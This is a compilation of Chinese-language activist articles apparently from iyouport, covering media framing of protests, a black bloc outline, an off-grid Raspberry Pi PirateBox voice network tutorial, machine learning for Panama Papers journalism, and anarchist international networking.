📌 我们认为这里的关键是，这篇文章应该提醒抗议者组织在策划战术时必需意识到的重要问题。这正是为什么我们制作了单独的 “信息行动主义” 系列教程（目前进行到第5集）：尽可能不要让叙事矩阵扭曲您的反抗目标，在此您需要加入一些应对战术，首先就是将媒体作为 “地形图” 的一部分纳入您的战术图谱。

您作为反抗者根本无法扭转占据90%＋市场份额的企业媒体的操纵叙事能力，您唯一能做的就是，逃避他们的操纵，或者利用他们。

这份最新的研究希望能帮助您理解到这件事的重要性。请不必介意该研究瞄准的是美国媒体，因为很大程度上在中国也一样 —— 全世界共享同一种流量经济；甚至在中国更为简单，因为一定程度上中国媒体是您需要抵抗的东西，当权者会第一时间抓住所有媒体把他们变成抗议者的敌人。于是对于中国行动者来说，这里的描述不再是 “可能”，而是 “基本可以肯定”，这意味着您的战术图谱更为清晰。

如果您期待中国的抗议活动完全得到美国企业媒体的支持，请重新考虑这件事。您知道为什么。

一名少女稳稳地拿着手机，拍下了乔治·弗洛伊德生命的最后一刻，他就在明尼阿波利斯警察的膝盖下窒息了。这段视频在网上被疯传。

而接下来发生的事，早已在各大城市高调反抗警察暴行的各种案件后，一次次上演。

明尼阿波利斯和美国各地都组织了守夜和抗议活动，要求警察承担责任。但在调查人员和官员呼吁“耐心等待”的同时，反抗却沸腾了。新闻报道很快就刊登了财产被破坏和警察身着防暴装备的画面。

普通民众对抗议活动及其背后的社会运动的看法，很大程度上是由他们在媒体上读到或看到的内容所形成的，包括中国旁观者。这就给了记者很大的操纵叙事的权力 —— 当涉及到推动示威游行的叙事时。公众，包括中国旁观者，对**BLM**的误解很大程度上要归咎于这些媒体。

这些媒体可以强调抗议活动“造成的混乱”，或者呼应政客的狗哨，将抗议者贴上“暴徒”的标签；但他们也可以提醒公众，抗议活动的核心是不要再有下一个人被法外杀戮。只有后者才能把重点从对抗议活动的破坏性转移到警察有罪不罚和多种形式的种族主义影响的正确问题上。

【注：狗哨政治（Dog-whistle politics）指使用编排过的隐语向特定人群传递政治信息的手法。 对于普通大众来说，这样的信息看起来也是可以理解的，但是，实际的目标群体会有不同的理解或者更明确的理解。 】

如果运动要获得合法性并取得进展，媒体记者发挥的作用是不可或缺的。而这给记者带来了很大的压力，他们必须把事情做对。

这份研究发现，一些抗议运动比其他运动更难获得合法性。两位调查人员研究了地方和都市报纸如何报道抗议活动。

📌 研究发现，关于 Women’s March 游行和反特朗普抗议活动的媒体叙述让抗议者发出了真正的声音，并显著地探讨了他们的不满；但是，另一方面，关于种族主义和土著人权利的抗议活动得到的合法化报道最少，它们更多地被那些媒体视为“威胁和暴力”。

形成叙事

「图」

几十年前，学者 **James Hertog** 和 **Douglas McLeod** 就已经确定了对抗议活动的新闻报道如何有助于维持现状、拒绝推动变革，这种现象被称为“抗议范式”。

他们指出，媒体的叙述往往强调抗议活动的戏剧性、造成的不便和干扰，而不是抗议者的真正要求、不满和具体的议程。这些媒体操纵的叙事将抗议活动轻描淡写，最终削弱了公众的支持。

这就是今天发生的情况：

记者们很少关注那些没有戏剧性或缺乏非常规状况的抗议活动。

知道这一点后，如今的抗议者就会想方设法吸引媒体和公众的注意力。他们戴上粉红色的“pussy”帽子，或者在国歌奏响期间下跪。他们甚至可能诉诸暴力和违法。这样做的抗议者们得到了媒体的关注，但是，媒体所报道的内容往往是肤浅的，或者说是聚焦非法行为的，简单说，媒体关注的只是戏剧性战术和造成的混乱，而排除了对社会运动实质的讨论。

研究人员想探究这一经典理论是否适合2017年的报道 —— 伴随着唐纳德·特朗普总统任期第一年后的大规模抗议活动。

为此，研究人员分析了德克萨斯州报纸对抗议活动报道的框架。该州的规模和多样性使其可以成为整个国家的良好代表。

研究人员通过搜索“抗议”、“抗议者”、“BLM”和“Women’s March”等术语，总共确定了777篇文章；这包括20个德克萨斯州新闻编辑室的记者撰写的报道，如《埃尔帕索时报》和《休斯顿纪事报》，以及美联社等来源的综合性文章。

研究人员观察了文章如何在标题、开场白和故事结构中构思抗议活动，并使用四种公认的抗议框架对报道进行了分类：

1、骚乱：强调破坏性行为、和使用或威胁使用暴力。

2、对抗：形容抗议活动具有战斗性，重点是逮捕或与警察“冲突”。

3、壮观：重点关注的是抗议者的服装、标志或戏剧性和情绪化的行为。

4、辩论：实质性地提及抗议者的要求、议程、目标和不满。

前三个类目对抗议活动本身来说完全没有意义。

研究人员还留意了新闻来源的模式，以确定媒体往往更相信当局而不是抗议者和倡导者这一明显的不平衡。

📌 总的来说，新闻报道倾向于对抗议活动轻描淡写，最常关注的是戏剧性的行为。但有些抗议活动比其他抗议活动受到的影响更大。

这些媒体更多关注的是场面而不是实质。很多报道都是关于抗议者的穿着、人群规模 —— 大的和小的—— 名人的参与、和暴躁的脾气。

一些游行的实质内容比其他游行得到了更多的报道。只有在关于反特朗普的抗议、移民集会、妇女权利示威、和环保行动的报道中，约有一半包含了关于抗议者的不满和要求的实质性信息。

📌 但是，相比之下，北达科他输油管道抗议、和与反对种族主义有关的抗议活动，得到合法性报道的比重还不到25%，这些具有变革意义的抗议活动更有可能被描述为 “破坏性和对抗性”。

在圣路易斯的抗议报道中，对一名杀害黑人的警察无罪释放，“暴力、逮捕、骚乱和破坏” 是媒体最常使用的主要描述词，而对警察暴行和种族不公的关注则减少到只有几处提及。

更广泛的背景被埋在10多段以下，“最近的圣路易斯抗议活动遵循了自2014年8月迈克尔·布朗在附近弗格森被杀事件以来所看到的模式：大多数示威者虽然愤怒，但都是守法的。”

📌 由于这种报道的差异，德克萨斯州的报纸读者很容易会形成这样的看法：一些抗议活动比其他抗议活动 “更合法”。这就造成了我们所说的 “社会斗争的等级制度”，在这种制度下，一些倡导团体的声音被抬高到其他团体之上 —— 最具变革意义的抗议活动被明显压制。

【注：您在中国也可以清晰地看到这种状况，比如毛主义者对毛泽东的纪念活动受到了广泛的关注，而各种此起彼伏的工人运动和环保抗议却往往无人注意，最终仅仅是以 “央视认罪” 结束。其结果就是，中国社会其他地区的围观者形成了广泛且错误的印象 “中国人不会抗议”、或者 “所有反抗最终只有央视认罪的结局”，这都不是事实 —— 如果人们能在第一时间了解到反抗者真正的要求和行动的意义，会有更多人跟上他们的步伐，也许就能由此形成真正的变革。这是当权者最担心的事，于是媒体对叙事的控制是当权者重要的镇压武器。】

潜伏的偏见

「图」

记者们通过遵守所谓的行业规范促进了这种等级制度，这些新闻规范明显不利于不太成熟的抗议运动。在时间紧迫的情况下，记者最可能会默认官方来源的声明和数据。这使得当局对叙事框架有更多的操控权。这种做法对于像 BLM 这样反驳警察和其他官员说法的运动来说，尤其成为一个问题。

这种报道中也潜藏着隐性偏见。长期以来，缺乏多样性一直困扰着新闻编辑室。

2017年，《达拉斯晨报》和《休斯顿纪事报》的白人记者比例是每个城市白人比例的两倍多。

抗议活动确定了社会中的合法不满，并旨在解决影响大众的问题，人们缺乏通过其他途径解决这些问题的权力。这就是为什么当务之急的是，媒体记者不要再诉诸浅薄的框架叙事、剥夺重要的和一致的空间来表达受影响者的关切，简单说，要认识到变革的需求迫切性，而不是拼命维护让当权者和寡头最舒适的现状。○

Riot or resistance? How media frames unrest in Minneapolis will shape public’s view of protest

原文

如何启动黑群 (Black bloc)：从准备到行动：直接行动指南 - iyouport

无政府主义行动技巧、战术和原理

关于如何为匿名而穿衣的指南 ……

全部必需只有三部分：

「图」

1. 可掩盖穿戴者身份的恰当的衣服；

- 信任和沟通；
- 一项任务 —— 战略目标。

1. 更多见《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
2. 详情见《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》

- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》

1. 更多见《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
2. 更多《让监视摄像头失明：示威参与者指南（11）》
3. 详细内容《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》
4. 更多见《这是一种最可怕的镇压战术：和平抗议者遭遇”水壶”围捕之后》
5. 监狱团结和监狱支持

- 救护医疗
- 法律观察员
- 处理逮捕
- 咨询和支持

Bloques, Negros y de Otros Tipos

原文

如何在”没信号”的情况下保持联系：构建离网Wi-Fi语音通信系统的方法 - iyouport

自我保护措施-技术技巧以防身行动技巧、战术和原理

【2020年10月13日存档】这个方法也许在抗议活动中或敏感行动中会更有用

在抗议活动出现时，当局会首先倾向于削弱移动信号或干脆断网，以切断活动家之间的联系，从而实现分头打击。

于是在没信号的情况下如何保持行动力和继续工作，已经成为一个重要课题。不要错过 “如何应对断网” 系列，如下：

- 《断网后如何进行文件共享和通信？：如何应对断网（1）》
- 《如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2）》
- 《我应该使用这个应用程序保存真相吗？：如何应对断网（3）》
- 《没有互联网的情况下如何验证视觉信息的真伪：如何应对断网（4）》
- 《如何在没有互联网或计算机的情况下备份手机中的媒体文档？：如何应对断网（5）》

null-byte 介绍了一个方法，帮助您和队友之间保持通信。当然，在任何 “没信号” 的情况下都可以使用这种方法。

当您无法获得稳定的蜂窝信号或无法立即访问Wi-Fi、但需要与周围的人进行通信时，可以使用 Raspberry Pi 和 Android 应用程序建立离网语音通信网络。

有些应用程序（例如 Bridgefy）可以创建一个网状网络，以通过蓝牙与其他设备进行通信。但是，当您的行动是车队、并想与其他车子上的人打交道时，你们之间隔着的所有金属都会形成阻碍。即使在露天的情况下，也有很多阻碍蓝牙信号的障碍物。所以您最好还是使用其他东西。

如果一个热点路由器的功能不足以连接所有人，那么带有体面的无线网络适配器的 Raspberry Pi 可以提供帮助。

有了它，并在上面运行了 PirateBox 服务器，只要每个人都连接到其**Wi-Fi**热点，你就可以匿名共享图像、视频、音频文件、文档、语音通信和其他内容。

随着抗议活动在世界各地发生，某些地区的执法部门会尝试禁用该地区的手机连接，以防止示威者彼此交谈。今年，抗议活动从美国开始席卷了很多国家，这种情况下移动通信可能陷入瘫痪或阻塞。

本文中介绍的技巧可以帮助解决这类情况。

你需要什么

「图」

1、**Raspberry Pi 3**：因为较新的 Raspberry Pi 4 还没有 PirateBox 映像（这是一个匿名离线移动文件共享和通信系统）。但只要您有一个Wi-Fi加密狗，其他任何 Pi 都可以使用。

具体来说，这里使用的是 Raspberry Pi 3 B＋ 模型。

2、**USB闪存驱动器**：需要一个闪存驱动器作为 PirateBox 的硬驱。大小将取决于您的使用方式，因此大点儿的更好。

如果您预计将传输大量的照片和视频，请尝试使用1 TB 的外部硬盘驱动器，您将永远不必担心。

3、**MicroSD卡**：确保其容量为16 GB或更大。为了安全起见，建议至少32 GB。

4、**MicroSD读卡器**：有很多选择，基本上任何一个都可以。

5、电源：Raspberry Pi 单元需要此电源。

6、以太网电缆：使用它来将您的 Raspberry Pi 连接到路由器，以进行全部设置。此后将不再需要。

7、带有高增益天线的无线网络适配器：如果您想获得更强的信号，则需要一个好的Wi-Fi适配器（Alfa Tube-U 是一个不错的选择），带有不错的大型全向天线，专为室外使用而设计，例如用于房车和海

上。

确保它可与 Kali Linux 一起使用，以便在需要时可以将其用于其他目的。另外，这样做几乎可以保证它能与 PirateBox 一起使用。此外，Wi-Fi增强器可以帮助确保所有人保持连接状态。

如果您想要花哨点的话，可以搞一个带有平板天线的适配器，然后将其指向目标，把它置于通信区域的中间位置（例如，中间位置的汽车），这是车队或大篷车的理想选择。

步骤1：设定 PirateBox

「图」

PirateBox 是一个非常酷的工具，您可以将其加载到充当离线通信盒子的 Raspberry Pi 上，在这里您可以连接到无线网络并在附近的设备上使用其聊天、文件服务器和其他功能。

尤其是它基于开源路由器技术，应具有您进行语音通信所需要的所有交换。

对于 PirateBox 的设置，可以参见这里。为了方便起见，下面嵌入了 null-byte 的网络武器实验室视频。基本在本案例的目的上您只需将 PirateBox 映像加载到 Raspberry Pi 上，通电，然后就应该能够连接到其Wi-Fi网络，在其中通过SSH登录。

因此建议您先下载 Raspberry Pi 3 的 PirateBox 映像，然后继续将其刷到 Raspberry Pi 的SD卡上，然后，一旦打开电源，您就应该能够连接到它所建立的Wi-Fi网络，然后通过SSH登录。

步骤2：连接到 PirateBox

「图」

要找出 PirateBox Pi 的IP地址是什么，使用一个 **arp-scan**。在下面可以看到其中的一个确实是 Raspberry Pi，如果您没有其他Pi的话，很可能就是您的 PirateBox Pi。

```
~$ arp-scan -l Interface: en0, datalink type:
EN10MB (Ethernet) Starting arp-scan 1.9.5 with 256
hosts (https://github.com/royhills/arp-scan)
```

192.168.77.1 b8:27:eb:4d:1f:f2 Raspberry Pi Foundation 192.168.77.128 b4:f1:da:ec:4c:e7 (Unknown) 516 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 256 hosts scanned in 1.858 seconds (137.78 hosts/sec). 2 responded

现在测试一下以确保没错。确保将Pi的地址换成下面命令中的地址。当要求连接时选择 “是”，然后输入您的 PirateBox Pi 的密码。

~$ ssh alarm@192.168.77.1 The authenticity of host '192.168.77.1 (192.168.77.1)' can't be established. ECDSA key fingerprint is SHA256xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.77.1' (ECDSA) to the list of known hosts. alarm@192.168.77.1's password:

当您看到 PirateBox 屏幕时就成功了。

_____.__ __ _____ _____ _____ __|_____ _/ |_ _________ \ _____ ___ | _/| ___/ _ __ __ \\ __\/ __ \| | _// _ \ \/ / | | \| | | || | \// __ \| | \ ___/| | (「 」 」 「 |____|_ /|____| |__||__| (____ /__| ___ 」_____ /____/__/_ \ \/ \/ \/ \/ \/ Website: http://piratebox.cc PirateBox Version: 1.1.4 Forum: http://forum/piratebox.cc Build date: 11-05-2018 IRC: #piratebox irc.freenode.net Be open -- Share freely! First Steps After Flashing 1. Change password of alarm user 」 passwd 2. Change password of root user 」 sudo password root 3. Enable Fake-Timeservice 3.1 Set date and time # Disable network time sync 」 sudo timedatectl set-ntp false # Set time to "Mon May 23 17:42:00" (Format: CCYYMMDD hhmm) 」 sudo date -s "20170523 1742" 」 cd /opt/piratebox && sudo ./bin/timesave.sh ./conf/piratebox.conf install 3.2 Enable on startup 」 sudo systemctl enable timesave 4. Enable the Kareha Image and Discussion

Board 」 sudo /opt/piratebox/bin/board-autoconf.sh 5. Enable USB thumb drive share OR extend SDCard USB: 」 sudo /opt/piratebox/rpi/bin/usb_share.sh SDCard: 」 sudo /opt/piratebox/rpi/bin/sdcard_share.sh 6. Enable UPnP Media Server 」 sudo cp /etc/minidlna.conf /etc/minidlna.conf.bkp 」 sudo cp /opt/piratebox/src/linux.example.minidlna.conf /etc/minidlna.conf 」 sudo systemctl stsart minidlna 」 sudo systemctl enable minidlna 7. Enable RealTimeClock timekeeping (needs DS3231 or 1307 RTC module!) 」 sudo systemctl enable rpi_hwclock [alarm@alarmpi ~]$

步骤3：更换Wi-Fi网卡（可选）

「图」

现在已经位于 PirateBox Pi 中了，如果您使用的是外部Wi-Fi适配器，则需要更改 /boot/wifi_card.conf 文件中的一个变量，以将其内部卡切换为您需要使用的卡。首先需要找到卡的名字，因此使用 **ifconfig**。

```
[alarm@alarmpi ~]$ ifconfig
```

如果您只看到一个卡例如 wlan1，则需要 **ip a** 扫描一下，然后您可能会看到 wlan1 和 wlan0，那就对了。

```
[alarm@alarmpi ~]$ ip a
```

要启动并运行第二张卡，请使用以下命令，用您自己的卡名代替。然后输入您的密码。这时候您再返回去使用 **ifconfig**，就应该可以看到两张卡。

```
[alarm@alarmpi ~]$ sudo ifconfig wlan0 up [sudo] password for alarm:
```

现在，打开前面在nano中提到的配置文件，并确保它说出您正在使用的Wi-Fi适配器的名称。在键盘上按 Control-X 退出nano。如果更改了名称，请单击Y，然后按 Enter 以保存它。

```
[alarm@alarmpi ~]$ sudo nano /boot/wifi_card.conf
GNU nano 2.9.6 /boot/wifi_card.config wlan1
```

步骤4：安装对讲机并连接到 PirateBox

「图」

现在，需要在将要使用 PirateBox Pi 相互通信的所有 Android 设备上下载并安装用于通信的应用程序。该应用程序称为 “Intercom for Android”。

- **Play Store Link: Intercom for Android (free)**

应用准备就绪后，要测试下，请断开 Android 手机上的移动数据网络连接，然后打开Wi-Fi设置，找到你的 PirateBox Pi，并连接到它。

您的手机可能会警告您没有网络可用，别理它。当连接到 PirateBox 后，PirateBox 页面应该会马上打开，但现在对 PirateBox 界面不感兴趣。

步骤5：在同一 Wi-Fi 网络上与其他人交谈

「图」

现在，打开 Intercom for Android。您应该看到连接到 PirateBox Pi 的设备的列表。

如果没有看到，请摸摸那个指南针，看会不会出现。如果不起作用，您可能首先需要通过蓝牙连接到其他设备，这似乎会拖慢应用程序识别它们的速度。希望对大多数人而言不会出现这种情况，因为理论上任何人都无需其他工作即可轻松连接。

在本案例中现在可以看到一个设备，如果您点击Wi-Fi图标，它会发出声音以告知您已连接并可以通信。

按住 “随按即说 PTT” 按钮就可以开始和其他人交谈。如果所有连接的设备的应用程序也都打开了，那他们就应该会听到您的声音。

或者，您可以点击上方的圆点图标来切换模式。这样做将启用语音检测，因此您不必一直按着那个按钮。只需讲话，它就会听到您的声音并将通信传输给同一网络上的其他人。要切换回按键模式，只需点击

评论框图标。

完成了！这样一来即使没有蜂窝网络，您也应该能够将多部 Android 手机连接在一起。很酷是吧？

您可以执行更多高级操作

「图」

此项目有一些限制，但通常如果您想进一步深入，可以使用 OpenWrt 加载 Raspberry Pi。这是一款很酷的开源路由器固件，可让您深入研究选项并做各种有趣的事。

但它设置起来有点复杂。于是本指南应该对初学者来说更合适些。〇

Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry Pi

原文

如何迎接更多的“巴拿马文件”？ - iYouPort

行动技巧、战术和原理让它民主-公民掌握真相的技巧和技术透明度革命

目前最大的问题是，技术是专制的，于是它很难被用在利于大众的领域上。人工智能不应该是绝对的坏事，如何把技术用在对的地方-- 比如让机器学习帮助调查记者的工作？

「图」

「图」

在巴拿马文件曝光三周年之际，我常常想知道我们错过了哪些故事。

巴拿马文件提供了一个鼓舞人心的跨境媒体合作的成功案例，并在报道服务中使用了开源技术。正如我的一位同事所说的那样：“你手中的数据基本上庞大而混乱，你需要用技术来梳理你的问题—以解决每个人的问题。”

他指的是包括他本人在内的400名记者，他们在一个虚拟新闻编辑室工作了一年多，以揭开巴拿马律师事务所 Mossack Fonseca 的大量文件中隐藏的奥秘。这些记者使用开源数据挖掘技术和图形数据库，将数十种不同格式的1150万份文档落在实处。

尽管如此，在这项工作中做出绝大多数思考的人都是记者。技术帮助我们组织、索引、过滤和使数据可搜索。其他所有工作都归结为400名记者的大脑集体了解和理解各种角色和计划、前线公司和参与秘密离岸世界的银行。

如果你考虑一下就能知道，它仍然是一个高度手动和耗时的过程。记者必须根据他们所知道的情况，在类似 Google 的平台上逐一输入搜索内容。

那么他们不知道的是什么？

快进三年，机器学习算法正在蓬勃发展，这些算法正在改变人类的工作方式，从农业到医学再到战争。计算机学习我们所知道的东西，然后帮助我们找到人类无法预料的模式，并以我们自己无法做到的方式预测事件。

如果我们要在巴拿马文件上部署机器学习算法，这项研究会是什么样子？我们可以教计算机识别洗钱吗？一种算法可以将合法贷款与旨在在实体之间洗钱的虚假贷款区分开来吗？我们是否可以使用面部识别来更容易地确定该宝藏中数以千计的护照副本中的哪一个属于当选的政治家或已知的罪犯？

所有这些的答案都是肯定的。更大的问题是，我们如何使这些人工智能技术民主化，并将它们完全整合到各种规模的新闻编辑室的调查报告流程中？如今这些技术主要由谷歌，**Facebook**，**IBM** 和少数其他大公司和政府控制，而这些当权者和他们联盟的寡头正是记者需要针对的目标。

一种方法是与大学建立伙伴关系。我去年秋天来到斯坦福大学，参加 John S. Knight 新闻奖学金计划，研究人工智能如何增强调查报告，以便我们更有效地发现错误行为和腐败行为。

我的研究使我进入了斯坦福大学的人工智能实验室，来到了麦克阿瑟天才奖学金获得者 ChrisRé 教授的实验室，他的团队一直在研究一种称为“弱监督”的机器学习技术前沿。

该实验室的目标是“让人们更快更容易地将人类对世界的了解注入到机器学习模型中”，Alex Ratner 博士解释说。领导实验室开源弱监督项目的学生，名为 Snorkel。

今天主要的机器学习方法是监督学习，其中人们要花费数月或数年时间手动标记数百万个数据点，以便计算机可以学习预测事件。例如，为了训练机器学习模型以预测胸部X射线是否异常，放射科医师可能要将数万张X射线照片手工标记为“正常”或“异常”。

Snorkel 的目标，以及更广泛的弱监督技术，是让“领域专家”（在我们的案例中是记者）使用自动标记数据的功能或规则来训练机器学习模型，而不是手工标记繁琐且昂贵的过程。一句话总结就是：“如果你遇到问题x，就这样处理它。”（这是 Snorkel 的技术说明）。

“我们的目标是实现民主化和加速机器学习，”Ratner 在去年秋天第一次见面时说道，这让我立刻想到了调查报告的可能应用。如果

Snorkel 可以帮助医生快速从X射线和CT扫描中提取信息，以一种有意义的方式对患者进行分类—— 而不是让患者排长队等待—— 它可能也有助于记者找到线索并优先处理类似巴拿马文件那种规模的调查的情况。

Ratner 还告诉我，他对“不必要的幻想型”解决方案不感兴趣。他的目标是以最快、最简单的方式解决每个问题。

1月初，我的新闻编辑室—国际调查记者联合会和 Re’s Stanford 实验室发起了一项旨在加强调查报告流程的合作。为了沿用“没有任何不必要的幻想”原则，我们将其称为机器学习调查。

对于记者而言，与学术界合作的吸引力有两个：获得可以帮助我们报告的工具和技术，以及大学环境中没有商业目的。对于学者而言，吸引力是“现实世界”问题和记者带来的数据集，并可能带来新的技术挑战。

有许多具有公民意识的人工智能科学家关注民主，他们希望帮助记者进行改变世界的报道。但是，如果合作能够持久并富有成效，那么如果学术界可以解决技术挑战，并且数据可以在学术环境中复制和发布，那么它就会有所帮助。

如果目标一致，那么在关系的早期就进行整理以及权衡取舍。对我们而言，这意味着首先要关注公共数据调查，因为它非常适合 Ré 实验室的研究。合作伙伴关系正在帮助我们建立 ICIJ 团队去年为获奖的 Implant Files 调查所做的机器学习工作，该调查揭示了全球医疗设备严重缺乏监管的现状。

有些问题我们根本不需要机器学习。那么我们怎么知道AI何时才是正确的选择呢？领导 Quartz AI Studio 的 John Keefe 表示，机器学习可以帮助记者在当他们知道应该在大量文件中寻找什么信息但发现目标信息需要太长的时间或太难的情况下。

以 Buzzfeed News 2017 年的间谍飞机调查为例，其中机器学习算法部署在飞行跟踪数据上，以识别监控飞机（这里的计算机已经学到了飞机的转弯率、速度和高度模式），或者亚特兰大学报对医生性骚扰事件的调查，其中计算机算法帮助识别了超过100,000个纪律文件中的性虐待案件。我也对乌克兰数据新闻机构 Texty 的工作着迷，该机构使用机器学习通过分析450,000个卫星图像来发现非法的琥珀采矿。

如果您在调查中使用机器学习，请确保从参与项目的记者和编辑那里购买。您可能会发现阻力，因为新闻编辑室的AI读写能力仍然很低。

在 ICIJ，研究编辑 Emilia Diaz-Struck 一直是我们新闻编辑室的“人工智能翻译员”，帮助记者了解我们选择使用机器学习的原因和时机。

“最重要的是，我们可以用它来解决那些原本无法解决的新闻问题，”她说。记者在人工智能训练的过程中发挥了重要作用，因为他们是计算机需要学习的“领域专家”—— 相当于培训模型以识别肿瘤中不同恶性程度的放射科医师。

在 Implant Files 的调查中，记者帮助训练机器学习算法，系统地识别被错误分类为伤害和故障的死亡报告，这一趋势首先被提供给记者的消息来源发现。

计算机正在增加记者的工作而不是取代记者职业。 AJC 团队阅读了与使用机器学习发现的6,000多个医生性虐待案件相关的所有文件。

ICIJ 事实检查员手动审查算法发现的2,100例死亡中的每一例。“新闻业并没有停止，它只是在准备下一个跳跃，”Keefe 说。他在 Quartz 的团队最近获得了奈特基金会的资助，与机器学习调查的新闻室合作。分享经验，以便其他人可以学习。在这个领域，记者可以从学术传统中学到很多东西，这些学术传统是建立在彼此的知识上，并公开分享成果，包括好的和坏的。

“失败是研究人员的一个重要信号，”Ratner 说。“当我们在一个失败的项目上工作时，就像它一样令人尴尬，这通常会启动多年的研究项目。在这些合作中，失败是应该被跟踪、测量和报告的东西。“

当两个不同的世界聚集在一起解决问题时，可能会发生大量的意外情况。 ICIJ 的数据团队现在已经开始与 Ré 实验室的另一部分合作，该实验室专门从表格和其他奇怪格式的文本中提取意义和关系（想想 SEC 文件或 ICIJ 卢森堡泄漏项目中令人头晕目眩的图表，就是那样）。

该实验室还在研究其他更具未来感的应用，例如从领域专家那里获取可用于训练AI模型的自然语言解释（称为 Babble Labble）或在他们阅读研究时追踪放射科医生的眼睛，看看这些信号是否也可以帮助训练算法。

也许有一天，在未来不太远的时候，我的 ICIJ 同事 Will Fitzgibbon

将使用 Babble Labble 来谈论计算机关于洗钱知识的问题。

当我解释那些不可能的、多步骤的图表时，我们将追踪我的同事记者 Simon Bowers 的眼睛，这些图表在解锁时揭示了跨国公司为避免纳税而采用的方案。

与此同时，我们需要保持真实。没有什么不必要的幻想。

IYP 一直在强调跨领域联合，因为技术是横向的，它与民主、媒体、反抗、社会活动等一系列问题均相关。中国的跨界联合能力较低，以至于技术在这里变成了某种实验室游戏，而在很大程度上没能真正落在实处，这是非常可惜的。希望中国的行动社区与技术社区之间早日产生可靠和可信赖的合作关系。〇

How Artificial Intelligence Can Help Us Crack More Panama Papers Stories? What would our research look like if we were to deploy machine learning algorithms on the Panama Papers? Can we teach computers to recognize money laundering? Can an algorithm differentiate a legitimate loan from a fake one designed to shuffle money among entities? Could we use facial recognition to more easily pinpoint which of the thousands of passport copies in the trove belong to elected politicians or known criminals?

原文

建立国际团结：全球斗争中的人际关系 - iyouport

无政府主义行动技巧、战术和原理

通信是激进斗争的倍增器。它使我们能够联合起来，给当权者制造更多的压力，而这也是当我们作为孤立的个体时无法做到的。

在去年底的对话中，我们特别强调了国际联盟的重要性。因为我们所有人对抗的都不仅仅是一个政权和几个政客，而是一个系统，这个系统在地球上每一个角落发挥作用，反抗者的联合正是该系统旨在重点防止的东西之一，因为这对它是致命的。

换句话说，这不仅仅意味着没有任何问题属于纯粹的“本土问题”，并且意味着，“我们”的结盟就是对战“他们”的武器。

在过去的30年里，这个世界已经进入了一个新的通信时代，无政府主义者祖先们曾经只能梦想我们有这样的能力与世界各地志同道合的无政府主义者迅速沟通。但重要的是要记住，有效的、具有历史意义的国际团结和沟通网络早已存在，就像无政府主义组织本身那样古老。当芝加哥干草场的烈士们牺牲时，全世界的劳动人民通过通信网络传播消息，发出了愤怒的声音；当墨西哥活动家里卡多·弗洛雷斯·马贡（Ricardo Flores Magon）在尤马地区监狱的牢房里饱受折磨时，是像琼斯夫人和艾玛·戈德曼这样的人利用他们的网络大声疾呼，倡导释放他。通信是激进斗争的倍增器。它使我们能够联合起来，给当权者制造更多的压力，而这也是当我们作为孤立的个体时无法做到的。

尽管技术在不断进步，但激进主义者的通讯能力却没有跟上步伐。当然，许多无政府主义者一直在通过公报、新闻报道或社交媒体帖子了解其他斗争，但在这些偶然的互动和有意义的关系建设之间存在着深刻的裂痕，而这些关系是有弹性的、有效的和有意义的斗争所必需的。

本文希望概述一些基本的组织网络、沟通方法和必要的技能，以便在

对抗殖民主义、资本主义和反统治的斗争中与无政府主义同伴建立更深的关系。请记住，这仅仅是单方面的建议；建立关系是一件非常复杂的事，而且往往是个人的事（如果做得好的话）。您要想真正知道该如何做，唯一的办法就是去尝试。Bangkok, Thailand

从本地、到大陆、到国际网络

「图」

1、您自己的国家/地区

「图」

在您自己的地区的交流应该是最常规的交流形式。这涉及到一个共同商定的区域的人们定期聚集在一起，分享即将发生的事，讨论区域问题，在适当的时候制定联合努力的战略，以及作为人的基本社交模式来建立联系。

这些可以遵循严格的安全规则，只有成员选定的代表在需要时组成分组，以讨论敏感项目。我们已经发布过一些指南，关于讨论和组织敏感谈话的方法，以尽量减少泄密或告密者的损害风险。比如《整体安全》教程、《安全文化》教程等。

更广泛的社交活动中应尽量减少要讨论的话题的敏感性，并应致力于通过共同的活动建立关系（有些人可能想要一个区域性的在线加密群组，有些人可能想要组织实地考察，有些人可能想要去酒吧聚聚，等等，只需要时刻基于您自己的威胁模型）。

2. 大陆/群岛组织

「图」

大陆和群岛的组织实际上是在区域/岛屿的个体、集体、同行群体和组织的网络之间进行的，大陆/群岛组织的作用是促进这些区域网络间的沟通，使其进入更广泛的大陆/群岛范围。比如从北京市的美团快递小哥开始，到全国美团快递小哥，到全国零工工人群体、到东南亚零工工人组织。（您可以在这里看到相关故事《我们一起来对战巨人：世界各地的快递小哥终于组织起来形成了真正的反抗力量》）

各地区可以从整个地区选择一个代表团，或从每个组织选择一个代表

团，参与这个大陆/群岛通信网络。这被用来呼吁物质援助（特别是当某个地区正在经历动荡或灾难时）、寻求咨询、寻求增援、或宣布集体利益的新的行动主义项目。

大陆网络的作用还在于确保许多不同的地区、文化和政治局势有一个快速有效的手段来联系大陆上的每一个其他团体，而不依靠口口相传的低效、没有算法的集中化操纵、也不需要被企业媒体筛查的新闻发布。

由于公路、铁路和陆地边界的连接，大陆环境中的实际会议和物质援助的移动自然会更容易。群岛地区的会议和物资援助的流动可能更加困难，因为要提供负担得起的远洋或航空运输，躲避国家海军的巡逻，港口费用，海关等等，都使这些努力难度更大、时间更加紧张。

最重要的任务之一是建立强大的通信基础设施和强大的联系人网络或关系。这些人际关系可以得到发展和培养，同时可以开始想办法把古老的重要远洋网络重拾起来。

3. 国际团结和行动

「图」

国际网络对于确保我们的政治不至于对其他大陆巨大的政治发展视而不见，确实至关重要。比如，您可以从整个殖民世界的原住民反抗那里学到很多东西（作为一个案例，推荐这篇文章《Non-sovereign revolutions: Thinking across Puerto Rico and Hong Kong—Part five》）。

反抗者经常被本地的政治思想视野和本土历史上的斗争经验限制了创新能力，这是一种严重的损失。人们忘了遥远的地方也有同样一群人遭受的同样压迫的人，他们一直在挣扎、学习、思考、创造和战斗。如果不与他们联系起来，就等于让我们所有人一次又一次地犯同样的错误。

这也是为什么我们在列表-5“直接行动” 中收纳了一个单独的板块 “反抗者-寻求经验”。

